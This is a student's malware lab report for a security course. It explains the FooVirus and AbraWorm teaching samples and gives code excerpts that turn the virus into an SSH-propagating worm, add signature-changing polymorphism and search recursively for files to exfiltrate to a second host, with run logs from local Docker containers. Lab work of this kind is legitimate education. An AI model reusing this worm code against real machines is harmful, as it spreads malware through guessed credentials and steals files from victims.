CSE 406

Report on Malware Offline

Name: Mohammad Tamimul Ehsan

ID: 1805022

Table Of Contents

Observations:

FooVirus:

Working procedure:

The foovirus works like the following

1. At first it reads the contents of its own file
2. Then it searches for files with extension foo in its current directory
3. It reads those files of interest
4. Overwrites the file with its own content
5. Then finally appends the contents of the file after commenting them out

Foovirus like this way reproduces and spreads to other files. At first it seems like commenting and adding the contents of the file might be unnecessary but it helps in changing the signature of the file. Thus every copy of the virus remains different

Problems:

But the virus has some problems

1. It can reinfect already an infected file
2. It can only infect files of the host
3. It is bounded by a directory

AbraWorm:

Working Procedure:

The working procedure of the AbraWorm is as follows

1. It randomly generates some Password and username and tries to infiltrate a host
2. It then connects to that host
3. Searches for any file that contains the word “abracadabra”
4. It copies those files into host device
5. Then sends a copy of the abraworm in the infiltrated device
6. It then connects to another device for exfiltration
7. It then sends those files containing abracadabra to the newly exfiltrated device

Problems:

Like FooVirus, AbraWorm has some limitations too

1. It doesn’t change its signature, so it becomes easy to identify
2. It only copies file from the root directory
3. It doesn’t check for if it has already copied some file from and to any device

Given Tasks:

Task 1:

We need to convert foovirus into fooworm

Task 2:

We need to change abraworm to change its signature

Task 3:

We will make abraworm more powerful by increasing its capability to infiltrate into deeper level

Solution:

Prerequisite:

To simulate multiple hosts, we created some docker instances. And we run all our worms in debug mode. To do that we need to give one host information for infiltration and another for exfiltration.

Task 1:

```
    # Now let's look for files that contain the string 'abracadabra'
    cmd = 'ls *.foo'
    stdin, stdout, stderr = ssh.exec_command(cmd)
    error = stderr.readlines()
    if error:
        print(error)
        continue
    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
    for item in received_list:
        files_of_interest_at_target.append(item.strip())
    print("\nfiles of interest at the target: %s" % str(files_of_interest_at_target))
    scpcon = scp.SCPClient(ssh.get_transport())
    if len(files_of_interest_at_target) > 0:
        IN = open(sys.argv[0], 'r')
        virus = [line for (i,line) in enumerate(IN) if i < 252]
        for target_file in files_of_interest_at_target:
            scpcon.get(target_file)
            IN = open(target_file, 'r')
            all_of_it = IN.readlines()
            IN.close()
            if any('foovirus' in line for line in all_of_it): continue
            os.chmod(target_file, 0o777)
            OUT = open(target_file, 'w')
            OUT.writelines(virus)
            all_of_it = ['#' + line for line in all_of_it]
            OUT.writelines(all_of_it)
            OUT.close()
            # oder file guloke fooworm banaye amar kase ansi

    # Now deposit a copy of Fooworm.py at the target host:
    scpcon.put(sys.argv[0])
    print("putted file succesfully")
    scpcon.close()
except:
```

We changed the hoping mechanism of abraworm to enable the hopping of fooworm. Other capabilities of foovirus remains the same

Task 2:

```
with open(sys.argv[0], "r") as file:
    for line in file:
        if( len(line) > 0 and line[0] == '#' ):
            line = line.strip() + random.choice(string.punctuation)
                                + random.choice(string.ascii_letters) + '\n'
        virus.append(line)
```

Here we appended some random characters at the end of comments, thus no two abraworms will be same now

Task 3:

```
#     continue
# Now let's look for files that contain the string 'abracadabra'
cmd = 'grep -r -l -w abracadabra *'
stdin, stdout, stderr = ssh.exec_command(cmd)
```

Instead of looking for files only in root, we search recursively in all depths

But now it creates a problem. The file names now contain directory too! So we need to trim those directory names.

```
print('\n\nConnected to exfiltration host\n')
for filename in files_of_interest_at_target:
    file_dir, file_name = os.path.split(filename)
    scpcon.put(file_name)
scpcon.close()
```

We use os path split to achieve the required task!

Spreading the virus:

Starting docker:

```
[08/04/23]seed@VM:~/.../Docker-setup$ bash setup_commands.sh
test_sshd_container_1
53a2f38961e754b86548a2ea47437e859f9a6200041b87926efcc7b7fab9e8a5
172.17.0.2
test_sshd_container_2
0eea04cb5dcda3fdc954591ecbb121580a3bee4f3209a54d3f72193ca7d126ed
172.17.0.3
test_sshd_container_3
be7443ac6dc8a8f39f1cb91c0c6aa22de043e006d83c537809eb8ac605184b64
172.17.0.4
test_sshd_container_4
8c814125d564f4bacbcb3c8084de67973374c05b13ccac91704020ea5f96167c
172.17.0.5
```

We used the first two docker for testing Fooworm and second two for the abraworm

Running FooWorm:

```
[08/04/23]seed@VM:~/.../Trial$ python3 FooWorm.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'abra.foo\n', b'vallagena.foo\n']

files of interest at the target: [b'abra.foo', b'vallagena.foo']
putted file succesfully

Will now try to exfiltrate the files


connected to exhiltration host
```

Running AbraWorm:

```
[08/04/23]seed@VM:~/.../Trial$ python3 AbraWorm.py

Trying password mypassword for user root at IP address: 172.17.0.4


connected



output of 'ls' command: [b'file1.txt\n', b'folder\n', b'notunFile.py\n']

files of interest at the target: [b'file1.txt', b'notunFile.py']

Will now try to exfiltrate the files


connected to exhiltration host
```